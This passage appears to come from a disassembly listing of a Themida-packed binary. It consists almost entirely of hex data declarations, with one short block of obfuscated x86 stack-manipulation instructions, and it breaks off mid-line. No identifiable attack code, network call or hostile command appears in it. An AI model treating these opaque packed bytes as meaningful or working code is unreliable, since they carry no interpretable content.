0BC47B668h, 0B9CEA9Dh, 0EA3CCB8h, 0AA655C20h dd 0B3952910h, 0B1125BD8h, 0B201C246h, 0D522B111h, 586A0C2h dd 40AFE393h, 0B0E59FB1h, 0E29CAE3Bh, 836E2FDBh, 0AB58A7DFh dd 0B9C514Bh, 0D8948D88h, 24C18051h, 0DAF48170h, 0F9887B28h dd 864092E5h, 88075B07h, 0BEC161CBh, 0FF537CFBh, 8FF7695Eh dd 344F9797h, 1F6DFD10h, 0FF6B75Dh, 604D02BCh, 0AF12B16Bh dd 7504FB83h, 1141AE60h, 0E18A3857h, 80B95E2h, 0B05C6D5Ah dd 0D58FC411h, 0B06A5FAEh, 2235C211h, 336139F4h, 0E67F1043h dd 530E85D0h, 0A754B1A2h, 6139F388h, 7E7521CDh, 7B24D6EFh dd 0D183DB2Ah, 0B36D63B2h, 924B7A0Ch, 6C39EBE3h, 0FC9BE897h dd 596139F2h, 0CD0104ADh, 555A41Bh, 0F71224Bh, 0A9445F6Bh dd 0CF21E2FCh, 0C36B5087h, 0D09AC79Bh, 8DFB3D5Ah, 92983A44h dd 0FE76E8C9h, 7753307Fh, 21DBEEA6h, 6291F4A2h, 6C590287h dd 9716BD77h, 96C88924h, 0F44B1DEh, 9EE5255h, 0A75067Dh dd 17C8A867h, 0EE95477Fh, 4091E240h, 1291DA86h dd 0F3AD9E57h, 46B34493h, 87335A14h, 0C8A81D3Ch, 234C3817h dd 0CDF4AEA2h, 0E89C817Eh, 80806C61h, 9949E8DFh, 503F17C8h dd 2EE8E095h, 883A9461h, 9898BE09h, 38CB17C8h, 0C0E193C9h dd 83DB8A23h, 693384D1h, 0A817C8B9h, 837FB338h, 0FF6EA0B8h dd 0B441FFFFh, 5C46D798h, 2E289ED7h, 5C713962h, 0A5184D07h dd 6AF9FCB6h, 0A4451BADh, 0FCA51709h, 0C520DA09h, 0C58039AAh dd 0FC7CDC96h, 0B8833596h, 510B3FAEh, 0C1DB8432h, 47h dd 621A4809h, 0E08BDC8Bh, 17C84551h, 70571804h, 1DDDF59Bh dd 0F9633E2Eh, 0A33E051Eh, 0B50C70DEh, 0C844E14Ah, 419BE817h dd 7731228Fh, 9EF6AA58h, 3443B03Fh, 440B9CE3h, 3DD1DA84h dd 23D35124h, 28427Ah, 48460000h, 0E08B621Ah, 1DDDF60Bh dd 69D3CEBEh, 0D68F0089h, 905F270Bh, 0C8460EE3h, 0F4CBBB17h dd 0FDBD6817h, 812A3C42h, 0AB5A7119h, 0D48201B3h, 6F293A8Bh dd 18D20150h, 84F8664Bh, 21BF522Dh, 0D27E72C0h, 33CD3A89h dd 341DD8BDh, 8BFA4948h, 48F69D57h, 918DA027h, 8B4211B8h dd 669A00D2h, 408BBE93h, 0DF000000h, 54531A48h, 40FA4FEDh dd 0B020D405h, 38570943h, 9AE7D68Ah, 0F5CE8F49h, 2CDEF786h dd 4FB8F9A5h, 1DD881D1h, 4C0655A6h, 0C6CD9945h, 0B880D279h dd 0AB46FD11h, 937B51D7h, 0E240BEh, 5C880000h, 3A5DAA07h dd 1B17C845h, 4998376Bh, 11605F19h, 4CB908C2h, 0A3605F11h dd 2C3E50A1h, 93DC883Eh, 0E8A2B100h, 2BF44CBBh, 4B8017C9h dd 0E2F1C491h, 0F0BED928h, 38214DDFh, 60AFE48Dh, 0B3842AA3h dd 8ECF0B77h, 78473F23h, 9F1ED809h, 92AA90F3h, 93D63B4Bh dd 148EF9CAh, 931DD8A2h, 3A590B42h, 268BD88Ch, 6D4438h dd 754E0FC9h, 3A8B0906h, 26B18E5Ch, 0B3678285h, 2EDE17CBh dd 0B4C330BFh, 0A10BA641h, 0AA57ACF5h, 6451FEB8h, 6F64116Eh dd 95600EB5h, 0BA64202h, 0F9EFA353h, 0E2126B31h, 0BA5EF675h dd 3C000001h, 0D1247123h, 1D90C57Fh, 0DC297628h, 3481CE80h dd 3D2F641Eh, 0E6A0B275h, 5B154CB9h, 0ED9FB706h, 5C1645B8h dd 0A956A507h, 1DDE0A86h, 5C8971CFh, 0A6174C06h, 0FCA6FBB5h dd 0FDB7AB5Ah, 44D67906h, 8F7F17C8h, 77FE3CEh, 45BD4BB8h dd 0CABA1DD8h, 44D578C3h, 43FA11B8h, 0B752D8AAh, 0DA43BE93h dd 0E0000000h, 0E2A85523h, 0A3CC14B8h, 4D075CC7h, 9D20776h dd 0D9A5FB20h, 80217546h, 8730453h, 17C8DF69h, 99B300ECh dd 713AE8E7h, 0FD843E94h, 0C8E366B2h, 3BD0E17h, 0B26C5F4Eh dd 0E698AE3Bh, 87AB0EC5h, 0CDD3B0FFh, 9A346A59h, 50D20F49h dd 7A26F986h, 3B25D231h, 6C1DD8D4h, 8FE0D380h, 0B8AE55E4h dd 4B140011h, 2D84F866h, 0CB62C8C2h, 0E6314E17h, 0D709372Eh dd 4430446Dh, 10CA006Dh, 0A6607243h, 13649A50h, 2DC3C6E2h dd 0C9h, 2D62144Bh, 81CE88C0h, 3A671934h, 0B2DF91CBh, 550F43h dd 91C1442Ch, 263B8AD7h, 90C6376Ch, 0F44B1DEh, 4D9C0055h dd 0DE0B8FA2h, 8028C61Dh, 0B6AB065Ch, 0DC29D5FCh, 18C6CD87h dd 0B5A6174Ch, 0A655A6FBh, 0C8453659h, 2E6F1F17h, 4D075C7Ch dd 0A8489976h, 0A7190FDDh, 4B80CD06h, 7521DBF0h, 217ECD20h dd 0C90AC3D6h, 792B2317h, 0D6C6AC5Ah, 0F3E8D58Ah, 0DC884298h dd 2E086AB5h, 0BB3047FAh, 0A6607322h, 5E0D0AF9h, 0C5CB2747h dd 0B506A85Ch, 481C55B0h, 0D071170Dh, 1D3E072Eh, 0DAF9B3A8h dd 73DA8E89h, 0D4461A3h, 0B96B6164h, 0BB766D1Ah, 721FD90Ah dd 0F7965083h, 0C61h, 0C5858200h, 0BB259282h, 0EBC2A8C9h dd 51035CBFh, 36F0E332h, 62144A97h, 1BB0E5Bh, 651F3382h dd 1BB0F5Eh, 67193382h, 12C41968h, 702A1E6Bh, 89579451h dd 4C781E7h, 83000000h, 3C8704EFh, 14895C24h, 0E0895024h dd 405h, 42D00h, 4870000h, 4895C24h, 0E6895624h, 4C681h dd 0EE810000h, 4, 5C243487h, 83243489h, 348904ECh, 0C85BE24h dd 0CE817E70h, 4B5254FEh, 0CE81D6F7h, 2B613C44h, 0CB6EE81h dd 0F089A5D8h, 348B545Eh, 4C48124h, 50000000h, 4A240481h db 9, 0FDh word_5A7CDA dw 8F7Eh ; DATA XREF: Themida_:0054C1BCo dd 0BB530846h, 7EFD094Ah, 5B085E29h, 5624348Bh, 0C681E689h dd 4, 4C681h, 34870000h, 34FF5C24h, 0C4815824h, 4, 0FB824BE9h dd 11729DFFh, 54E1DD72h, 0C7FFB895h, 0C5030615h, 4B12E0FFh dd 0B49B4CF9h, 42685B33h, 8EFF10E8h, 2EF8127Dh, 0EACB405Ah dd 0D66C28FFh, 3FE7883h, 1F6C09D9h, 3EC30298h, 0DF7D13EFh dd 0B3232876h, 20E275BEh, 0C35C1366h, 0C4096F4Fh, 8D8D4E86h dd 615C9B9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 0D0C35747h, 22550960h, 9F58D89h, 95290610h, 6102961h dd 231985C7h, 67640610h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0F61DABC3h, 6D59FB0Eh dd 1FD812Bh, 100CB1BDh, 6D9D8B06h, 0C7061021h, 1022C185h dd 6, 298D8900h, 0FF06101Dh, 1004E9B5h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0DB60B255h, 0BE9h, 53419000h, 0E58D8735h, 0C6D6F655h dd 2DB995FFh, 6E90610h, 0AC000000h, 94EC37E7h, 0FF006AE9h dd 1031C995h dword_5A7E24 dd 0EBC08B06h, 0EC037318h, 9DA96A20h, 0D05DB4Dh, 1788873Ah ; DATA XREF: Themida_:0054D194o dd 0C789C0D3h, 0DDCE1A36h, 7A8D8D65h, 600615CAh, 61D1BF0Fh dd 9F58D89h, 0C7FC0610h, 10231985h, 5A0406h, 0C185C700h dd 61022h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 0E9E6C355h, 81C85DDAh, 0B85264D3h dd 0D5B5FF57h, 6A06102Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 43BC355h, 33659589h dd 95FF0610h, 6102DB9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 89C35141h, 669825F8h, 6AD78Bh, 31C995FFh dd 0C08B0610h, 0E6F51CEBh, 0B1F8051Ch, 0C806E0BEh, 0C5254FC7h dd 14A87921h, 0DAED976Bh, 7006D8D9h, 8D8DF405h, 615CB00h dd 13F19589h, 8D890610h, 61009F5h, 68D0F52h, 89000000h dd 102065B5h, 0B5335E06h, 6100869h, 231985C7h, 71240610h dd 85290000h, 61014E5h, 22C185C7h, 610h, 85010000h, 6102F35h dd 11EDB5FFh, 95890610h, 6100511h, 2DB995FFh, 958B0610h dd 6101469h, 95FF006Ah, 61031C9h, 68EBC08Bh, 91B9001Dh dd 41D5A739h, 0EED12D5Eh, 4C24B435h, 51044C8Dh, 4CC29FB5h dd 69D8C273h, 0F5C9469Ah, 0EE16B46Fh, 52D6FAACh, 9EB0C849h dd 765F78E5h, 0B407040Ah, 0E3B157CEh, 0D6F3EA3Dh, 6C1DD919h dd 8763A9E8h, 83F4191Bh, 0F4346E2Ch, 0EB9976BCh, 36E16F68h dd 70BC2E8Ch, 1C0242BBh, 9AF8C881h, 0F008036Fh, 7A39BAF9h dd 14E9h, 4854AF00h, 12h, 3 dup(0) dd 565E900h, 7A70000h, 0DB9108C4h, 0FCB128A4h, 0DB9007C3h dd 0F9AB2A9Eh, 0FC08FEBAh, 1F9BDA8Eh, 0F8B4F598h, 1692CD81h dd 0F7B3E89Fh, 0C1812814h, 256BD9B7h, 7932FCC8h, 3C441F3Bh dd 4E00F7Ch, 98D77910h, 0CD7F3A24h, 4902B98Eh, 0C2696014h dd 4A02998Dh, 243C330Ah, 0B59170CBh, 0E924CAC1h, 0AFE69E3Dh dd 5EF586C3h, 69089772h, 10EA1FC8h, 0B873A649h, 6DCCD00Ah dd 75526EEAh, 59943AC1h, 0DAB056E5h, 516F232h, 16C25245h dd 6EA463Ah, 89CA7B1Ah, 0D9780B9Dh, 0C377B258h, 8DF9F4D9h dd 26D53666h, 0ACE18A51h, 9914B1F8h, 9C1B6DCCh, 510DE005h dd 82ED336Ah, 5F000000h, 50447932h, 0B90900DEh, 5D6DCC7Ch dd 813FEC01h, 9A6DCC7Ch, 0D1C8BCF1h, 9930E41Bh, 6BC7BBF4h dd 6C50EFD0h, 8347DEDDh, 7C14AE5Dh, 84296DCCh, 23DB574Bh dd 0A46D3247h, 84336B35h, 0Eh, 1DA5647Ah, 0F9923388h, 0D3EF2EE2h dd 7A322EF6h, 90384F43h, 0D07D8B50h, 4A26773Ah, 4F8C3F56h dd 18B708A3h, 223C7319h, 0CAB6F597h, 4ECD9166h, 0F31EC595h dd 0CCCE8A38h, 0D2EE6A6Dh, 0AA1E421Eh, 3F7E321Ch, 0EA58532Dh dd 0A6DCC7Ch, 0B7F4970Eh, 3FE5E4A2h, 0D93F1C08h, 9032D907h dd 746DCC7Ch, 7CB111F8h, 0D9556DCCh, 46801F04h, 0B794CF73h dd 550948FCh, 8748826Bh, 0C60D9617h, 4C812AB1h, 538C4158h dd 517AF69Fh, 0E08585D2h, 0D4678459h, 9005B83Dh, 77E5336Ah dd 27000000h, 533F7E32h, 7A548D34h, 0D9CD0EBFh, 0EB7E805Dh dd 0EC21CA91h, 8C952C0Fh, 962599D8h, 74CEBDF2h, 906DCC7Ch dd 0C5C4B094h, 500BE522h, 0E51EC39Bh, 3C113531h, 0CB6A194Ah dd 6B33F32Eh, 54D333h, 6EED0000h, 0AC887CB9h, 7E32F5CFh dd 0A1C5FCA4h, 0C8527BF5h, 0D85697F6h, 0C46AF106h, 0C4767789h dd 11809B59h, 981313E8h, 1552F5C4h, 53E80561h, 94D375BCh dd 7A329218h, 0BF084F43h, 806DCC7Ch, 6C45A03Fh, 4C336B35h dd 0Ah, 2C327972h, 5F54FD25h, 7B32C28Ah, 90374E42h, 433DA75Bh dd 3144220Ah, 0E7F89D67h, 51566CD0h, 3211E60Ah, 99DB9293h dd 918DE9CAh, 3BEFD392h, 0F20CCFE6h, 0FC0BD237h, 0BD6C9267h dd 943C7F05h, 0B42EAE1h, 22371B17h, 79100460h, 9A219DD2h dd 0A1C8BCF1h, 943C7F23h, 0E6E07F20h, 7FB111F8h, 0D955943Ch dd 7FBE0407h, 0DA56943Ch, 588D36FDh, 0D60DB386h, 0AD31462Ah dd 5440752Eh, 6FAC5FDAh, 2D712B8h, 0DC29239h, 0F1DAF4D0h dd 0DD294336h, 0B472876Ah, 42DC4D7h, 0E7B2265Bh, 397A6826h dd 14606h, 4D3F800h, 0D11E5366h, 0B6F99D3Dh, 0A1C5B1A3h dd 96D700CCh, 78B52D4h, 0DD805DE1h, 40EB05D6h, 67FC0F0Bh dd 0F4937FDBh, 79CB0D4Bh, 8000DC94h, 0FA618A64h, 9DD45DCFh dd 6CEB7388h, 340E3B3h, 1D2F130Fh, 0F8ACE99Eh, 5F12EE1h dd 76284521h, 8E7DA85Fh, 9423AB34h, 0D916B9D0h, 702DD9FDh dd 0B66DB44Bh, 68F3CD81h, 0AC7388C1h, 397B5F61h, 2C610AD1h dd 52994Fh, 5CF30000h, 49401AC1h, 0EDCC7CD9h, 267521FDh dd 0EDCC7C9Ch, 6CE38241h, 0FF3CEF51h, 37540613h, 0BFC2A90Bh dd 0FEADBFA3h, 6DCC8064h, 0A1CAA480h db 7Ah, 5Fh, 0F0h byte_5A8363 db 39h ; DATA XREF: Themida_:0054DDE4o dd 6DCCD489h, 85CCF16Dh, 63EEDB00h, 0F8CFC97h, 5943FBD0h dd 0F429E2h, 7C9A4724h, 0F2000000h, 4C1EBD5Ch, 0FC0C3C5Dh dd 0A24ECA67h, 93477C23h, 3E7F32A9h, 0C4F9B229h, 846D5ED0h dd 82CDCF61h, 7AC5BE9Bh, 0F19423DEh, 5E934C0Fh, 0A99AEB2h dd 0EC21CA6Bh, 0D7041370h, 0E50E0605h, 15A49E19h, 0E4403473h dd 6B171307h, 927EB36Ch, 0F8D27100h, 0EAA51D3h, 6BEADD7Ah dd 0FD607DB6h, 500BE5F6h, 0A6B35F9Ah, 4C4BBF14h, 1B3014DAh dd 0D4E4645h, 0F86942Fh, 0D691D5Eh, 5CD775E9h, 0BDD83BDh dd 4C381C57h, 0CF20CE8h, 8B60974Dh, 0F64790A0h, 40343067h dd 7AB96BEEh, 6CDAA86h, 25B4285Dh, 0E5D497Eh, 0E85BB696h dd 0F9DD744Bh, 1CED4ED4h, 407CD56Dh, 8353188h, 0A2B74BA9h dd 813D7219h, 0B281AE9Fh, 0C5B09BDAh, 0A4742BA8h, 7195C2FFh dd 0E4C1EAC7h, 16A5B79Bh, 0B0E79D6Dh, 0D0C7B794h, 4D0CDE1Bh dd 0B1B56196h, 49F8EA9Ch, 9FD48BAAh, 0BEF3AC2Bh, 2EC1D2h dd 0D73B0000h, 6ED4D7A9h, 866DCC7Ch, 7C47FBAAh, 0CD9F6DCCh dd 0CC7C64DEh, 0C0A4806Dh, 98235DABh, 2F641BF3h, 0D6035F13h dd 3ACEBE85h, 774D2AB0h, 493D8032h, 0B0649952h, 463A7519h dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h dd 55417830h, 8D968CFh, 3C890000h, 15226824h, 3C890000h dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 56240489h dd 4F8BB850h, 0E8C14322h, 46F12D05h, 0C689FC03h, 5EF78958h dd 4EC81h, 24890000h, 24048324h, 0B9515804h, 8, 0BA52C101h dd 0 dd 3A89CA01h, 48B595Ah db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edi add esp, 4 jmp loc_5534D8 ; --------------------------------------------------------------------------- db 77h dd 0D065F126h, 0B8CFEA01h, 615D066h, 0E0FFC503h, 28928976h dd 1DD14C97h, 6110D04Eh, 134C82E1h, 217D5B67h, 7DFDEBE5h dd 2F302FE7h, 21E51896h, 31A665Dh, 7541C2Ch, 6C247D40h dd 0FC61FE6h, 93A9AB1h, 2B1F05Ch, 5342BE6h, 42713E15h dd 0BF398C0h, 3C3EC2BBh, 33C78F2h, 2A68B17Eh, 120537C4h dd 4BE9h, 8FA74B00h, 72h, 0C51C5700h, 6148434Ah, 0A5ADF936h dd 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h, 0F4C7009Dh dd 6063921Dh, 0DE19h, 7 dup(0) dd 0C1CE9h, 0D2E96800h, 0C1E90615h, 68FFFAAEh, 615D437h dd 0FAAEB7E9h, 0D54768FFh, 0ADE90615h, 68FFFAAEh, 615D650h dd 0FAAEA3E9h, 0D72A68FFh, 99E90615h, 68FFFAAEh, 615D80Ch dd 0FAAE8FE9h, 0D8EA68FFh, 85E90615h, 68FFFAAEh, 615DB19h dd 0FAAE7BE9h, 0DC2868FFh, 71E90615h, 36FFFAAEh, 5EDD5194h dd 3CBB6FA6h, 9904C85h, 26B52966h, 0A1874382h, 1655F765h dd 317213A2h, 0D48FE7Dh, 0EC21CA51h, 88837D70h, 6BD9AD3Ah dd 5C37FDDAh, 5D4C1EBDh, 67F64D6Ah, 71A65D74h, 0DCCFA185h dd 94265366h, 0ACBEA27Eh, 6148792Dh, 942653E1h, 594D2905h dd 6CA95EDDh, 0B99FBCB8h, 98144902h, 0E2C6A21h, 0DB10B7DDh dd 9E1E4B27h, 0EEA2BE34h, 17E9F201h, 1C3A0414h, 42517A9Eh dd 77961576h, 9E6DD5D4h, 0AD899E18h, 4EF4B7C9h, 0A69E189Eh dd 71EDADCAh, 614C815Fh, 7EB36CBEh, 0BED3A259h, 447932A9h dd 8123B688h, 0F5D24E42h, 0A450853Eh, 1D5E0FCAh, 8DF00D69h dd 8A815F86h, 9E189938h, 299980DCh, 0CD9E1899h, 0B05B7551h dd 9428E09Fh, 976E0267h, 0EA9F76EDh, 17B56FDh, 0F2CEF492h dd 2C4C1745h, 1C8D995Eh, 0A23h, 0F266A949h, 0D286BD63h dd 0E9659E43h, 0CC80BD72h, 0E05C9B4Dh, 0B86C9EEAh, 9336C579h dd 0AB5FD652h, 863DBC70h, 0EF2DD51h, 0D9AEA71Bh, 0DA623F6Bh dd 0C73B7932h, 5EE4A744h, 0B66DCCB4h, 99718DBAh, 3EFDCFF3h dd 8B7B5085h, 4C1E530Ch, 0F29ED98Dh, 0FBE5596Eh, 61B2F2D2h dd 5126083Ah, 0A4B625B4h, 0FC51C4E5h, 984B4267h, 0DC8B775Bh dd 943C5662h, 9653F281h, 397B003Bh, 3E7B30ABh, 57F9CE52h dd 40h, 6004D7B5h, 7CC2802Bh, 46226DCCh, 0DDFA762Ah, 4B597980h dd 0FF180C0Bh, 5356284Ch, 67FC647Eh, 144B0198h, 34E00460h dd 93C87F3Ah, 6471CDB6h, 0DF94943Ch, 1E4CA540h, 0CE2C397Bh dd 9E000000h, 0D0AA96D7h, 146348B1h, 8EC37C37h, 6741E3E2h dd 999D89C2h, 0E477C9BDh, 161A063Bh, 0C2AEED9Fh, 19D2895Eh dd 0F29930E4h, 0F14A01BDh, 4E6DCCA4h, 6DEC6095h, 83DE6B6h dd 483C181Ch, 6D7F5C7Bh, 4BE6D93h, 0E06DCCDCh, 0A7BC6784h dd 3F67FCAAh, 0FB1A67E3h, 0B61B0EE0h, 2E9E0A25h, 0CDB9FAABh dd 928E9469h, 104F01B8h, 0D969203Eh, 3D9E11A5h, 0C3520CE1h dd 69A24721h, 4902B9BDh, 5F8B3014h, 0D1403591h, 8D5D4C5h dd 4BFB0000h, 1FC55408h, 40E574E8h, 1FC45307h, 3DEF66E2h dd 205C4AFEh, 0BBFFEB2h, 2498D98Ch, 2B6F195h, 2397CC73h dd 0ED555428h, 96BD9A8h, 7E3220ACh, 58532D3Fh, 6DCC7CEAh dd 85390E0Ah, 0A4184DF6h, 1EBD5C06h, 1F4C324Ch, 132DE226h dd 1CA655E7h, 316DCC83h, 0D24E427Dh, 0E2873E1Ah, 0FAD7D4A9h dd 0FA67FC83h, 0B2598C3Fh, 943C8210h, 7F5C78F4h, 0A4F39F7Bh dd 943C821Ah, 0CE2BCAF9h, 397A3803h, 0CBE3h, 79322900h dd 0CBD1FE3Bh, 0EEF0DD16h, 84567A9Fh, 0F7D413B5h, 604B3507h dd 6DCC9FE2h, 0C9793002h, 2D6DCC9Fh, 7B381531h, 24C081C9h dd 630F5001h, 0A601DAFFh, 7B65775Bh, 0CCBB3290h, 8156D26Dh dd 0C765D685h, 11BA6DCCh, 32D960DCh, 7E72AB62h, 762A6107h dd 6FAD6FAh, 0AFC11AB9h, 0FCC9E7FCh, 0A723FF67h, 275E06D5h dd 83E2F77Bh, 96956774h, 9E0A052Ch, 0C7926CC8h, 0E372E625h dd 0F3550241h, 9D4035B7h, 7C52089h, 3BEB0000h, 0FB544F8h dd 30D564D8h, 0FB443F7h, 2DDF56D2h, 304C3AEEh, 5BCF0EC2h dd 74E829DCh, 520641E5h, 73E71CC3h, 3D858478h, 0D96BD9A9h dd 7E3250DCh, 530C8B3Fh, 811F4C1Eh, 23D8D6C3h, 5DEB7388h dd 50447932h, 835D9239h, 7C14AE5Dh, 74F06DCCh, 9E28DF57h dd 0D96DCC7Ch, 4200AB3Ah, 0A26DCC7Ch, 0AED0AAC6h, 0CC7C47FBh dd 0A6C39F6Dh, 0D7D2ACD2h, 6DCC7C6Bh, 0D1BA8F8Bh, 67F64DC8h dd 0BB0702DCh, 5B942652h, 65A448FFh, 0C4969288h, 0F4BCD187h dd 0D425124Fh, 2B9792D4h, 0CB94266Ah, 1946734Fh, 94DF4208h dd 0CD8C7489h, 0DE0FE116h, 0C7369E1Dh, 0C4C7997Bh, 9426B37Eh dd 0F9BD9A96h, 0CD823927h, 9980E490h, 9426B329h, 0D213B6CDh dd 559637EEh, 3404BB78h, 566538Eh, 0EF0E4EEDh, 8658724Eh dd 266B3F83h, 3D52D794h, 38CF1E7Dh, 0E698B591h, 0FE1FA19h dd 16535F1Ch, 0DE8BE79Eh, 4032056Ch, 0BC617222h, 0E2000006h dd 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h, 7D6BDF1Eh dd 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h, 64271914h dd 6BD9AADEh, 32F3B936h, 0E7413B79h, 36CB261Eh, 0B490CB7Fh dd 54F5C49Ah, 14035F13h, 6DCC68AEh, 110DEA46h, 0AAE79C1Fh dd 285D06CDh, 0E57C1F7Ch, 7BB25AE1h, 22571087h, 0A6E5873Eh dd 0DA6176FAh, 7D40FC31h, 336B2234h, 714h, 76407600h, 8C000001h dd 0CC7C4402h, 0E7F4036Dh, 4D0E1615h, 0B58467F6h, 9B27E20Fh dd 7B942653h, 53CFC39Fh, 0D6A88476h, 0B3275C03h, 5A467B24h dd 77B859E0h, 4CF40362h, 9D8C5E93h, 94265325h, 6F8165C1h dd 11965C91h, 0AF47B5C1h, 83A8F19Ah, 675E9E16h, 989C88C3h dd 34350FBCh, 2BFB4032h, 5E2BAh, 23660800h, 417830A7h dd 1E570E8Dh, 3B782BAAh, 1554F87Fh, 2557B399h, 11884483h dd 2CAB1F60h, 0F87F3B76h, 0AB9E1A4Fh, 0AB68DAD1h, 0F8C6BD9h dd 44793285h, 54923950h, 0D4CA438Dh, 2F9396D7h, 0C76DCC2Eh dd 0B76B876Bh, 322C1E2h, 8655275Ch, 72EEA2E3h, 0D31EE155h dd 43336AE3h, 92D5330Ah, 72EEA2DBh, 15F45345h, 79038h dd 40FA0000h, 0A5h, 1EBD5C8Ch, 83D41F4Ch, 301D52F9h, 9EBB5EADh dd 85FCCFBAh, 2A0667F6h, 0F7AB2E50h, 6B149FBCh, 4F3A2436h dd 94268AF3h, 0A75B964Ch, 8257D3CBh, 51863DBCh, 12C950A5h dd 0BB5B5138h, 0EF6B9E1Ch, 6EA75EDDh, 0BB48759h, 2CD362D6h dd 1FB60BF7h, 0A2BCA2BCh, 19595BE7h, 8A5FBB9Eh, 2920ACA1h dd 79DE3A94h, 5E2D53F5h, 0DACBDBh, 26000005h, 0E8D4184h dd 2CAB1F56h, 0F9803C75h, 16A51956h, 91773372h, 26650775h dd 418223B2h, 1D580E8Dh, 3C711AA1h, 0F8B38D80h, 6BD9A44Ah dd 40672DAAh, 15Eh, 1EBD5C8Ch, 5D4C324Ch, 6DCC7CE5h, 5B482501h dd 67F64D68h, 10E48950h, 4D391D5Ch, 538A38F3h, 0EE6A9426h dd 8E05F5D2h, 0B7B09DD8h, 0DBC59C88h, 16A5B79Bh, 3D23386Dh dd 1C90C57Eh, 0C5B1E69Dh, 0B057E9F0h, 0CD04BC7Bh, 1496D7A9h dd 0B8964B39h, 79B257CEh, 0ACD4A98Dh, 870899D2h, 0FC15644Bh dd 253424DFh, 50CC9E1Ch, 0CF04BB7Eh, 0EE23DC5Bh, 1A26AD02h dd 401A3677h, 46FCD879h, 371B170Bh, 99203E22h, 7CC6C5F4h dd 989E18EBh, 693B89Ch, 59405531h, 6B5C4724h, 739428CCh dd 88C652F7h, 0FCA85E2Ch, 422EBh, 63A64800h, 81B870E7h dd 5E974ECDh, 7BB86BEAh, 559438BFh, 6597F3D9h, 51C884C3h dd 6CEB5FA0h, 38BF7BB6h, 0EBDE5A8Fh, 0A4A81A11h, 4F4C6BD9h dd 447932C5h, 0C0FBAF2Ah, 8B7B50D4h, 0E083530Ch, 76D3BFA3h dd 40E74EE5h, 597DBC70h, 35D71AE5h, 5FB7336Bh, 0C9000000h dd 884EF4B7h, 85849233h, 9233883Dh, 0C9A55DD9h, 0BD5C18B4h dd 645D4C1Eh, 6067FCCAh, 0CE378B7Eh, 4ACF9423h, 39051B56h dd 32472BB3h, 5FDAF470h, 0EBD71AAh, 94237FB1h, 5A0DDD86h dd 3927391Dh, 7FDE6427h, 3A369423h, 237FF74Bh, 94130F94h dd 229CB1F0h, 0C1B5EE93h, 36ED8h dd 7C322400h, 5DB5541h, 0CC7CBC06h, 0FFDC586Dh, 0E2568B34h dd 1CE0D3F8h, 0B0EFB07Fh, 3267209Bh, 0D0A0473Eh, 0ECFEE217h dd 6C81B66Dh, 55868DF2h, 0CF0AC07Bh, 562A3F23h, 0FC1A7653h dd 0E0949067h, 238A0DB9h, 3CD3F094h, 7B33F8B9h, 7DD839h dd 0D7320000h, 56FDFD96h, 54F76CD2h, 0EB076B17h, 73686F0Eh dd 0BC81B259h, 6A6367FCh, 3AEB0D6Ch, 0DB35226Bh, 11C384F0h dd 0C7BEC499h, 363AE625h, 180B401Ah, 938C4773h, 13044DD3h dd 0E546426h, 3C1AA71Bh, 0FFE33F94h, 77423CEAh, 85E195D6h dd 1A03BB68h, 6B14943Ch, 1AF94940h, 411D943Ch, 0B25A7125h dd 8B34877Bh, 7194BFF4h, 587010CBh, 59F88B7Ch, 7A45519Ch dd 10B3139h, 0D79B0000h, 7C4002A9h, 0C8A46DCCh, 4A7F28B3h dd 0CD02A930h, 35D7EEB0h, 0D48B0AF6h, 7C4002A9h, 0C8A46DCCh dd 6307D2ACh, 7CCB7732h, 2F2B6DCCh, 0E6035F13h, 0B5EAA138h dd 0F952F9h, 9D466DCCh, 27DB1CCDh, 24B3274Bh, 0D24C3D7Bh dd 38A42807h, 7C9B681Ch, 7A738D5Fh, 0B9DA8179h, 7DB6A36Fh dd 9FAAD663h, 25E69DBAh, 0E19803C5h, 5D7CC985h, 826ED975h dd 5F4AA528h, 942379E3h, 274B2703h, 0C2802B55h, 22942379h dd 5C4F3146h, 9E15B16Eh, 0FEE0FA76h, 319929E0h, 0A17D9E10h dd 1E5D0FCCh, 3A792BAAh, 3405958Dh, 1A8B9B40h, 1F3h, 82367919h dd 0A2164DF3h, 79356E13h, 9C104D02h, 0B02C6B1Dh, 681C4EBAh dd 8326B529h, 5B0F8642h, 762DAC20h, 9EA28D41h, 0D9A757EBh dd 6A32AF6Bh, 239F96D7h, 15E747B8h, 8AC97B38h, 6BA047CEh dd 39EC6F91h, 81280CF8h, 6DCC7EC1h, 0AA344925h, 1E6809D0h dd 4368C1Dh, 6B80646Ah, 1EBD5CE1h, 7C745D4Ch, 0E97067FCh dd 2FF30847h, 58341933h, 80BF7109h, 9AAB9094h, 0F9A5C285h dd 3C6C14B2h, 25BCF794h, 7B25EDC0h, 0CDCD39h, 323F0000h dd 39504479h, 0FDAC5897h, 6DCC004Ch, 0A012CD3h, 923380B8h dd 68E4005Ch, 11053AF1h, 0B4C615A4h, 3F334F5h, 0E256D298h dd 2352D3F8h, 26303A01h, 0B625B451h, 15A4BAA4h, 0E84C386Fh dd 23258141h, 0ACE99E94h, 0A86378F4h, 9E15E873h, 0EBC76AF1h dd 0E12FE35h, 9651532h, 0E6C064F7h, 181C083Dh, 0AD9E803Ch dd 0EF93DA3Ah, 7764C0B4h, 0D3A8DDB8h, 0B8256408h, 403461D4h dd 0E439AA7Ah, 0A000000h, 32A92568h, 1087437Ah, 2DAC2059h dd 0FA813D7Ah, 0A5A31756h, 3A792B59h, 1556F77Eh, 316C2299h dd 1045FE7Dh, 0DCCFB19Ch, 6BD9A066h, 329B217Eh, 0AE2D3F7Eh dd 35A9BEF7h, 0B6C8FDA6h, 50447F23h, 1BF83CCBh, 0E4C87Ch dd 32D573EBh, 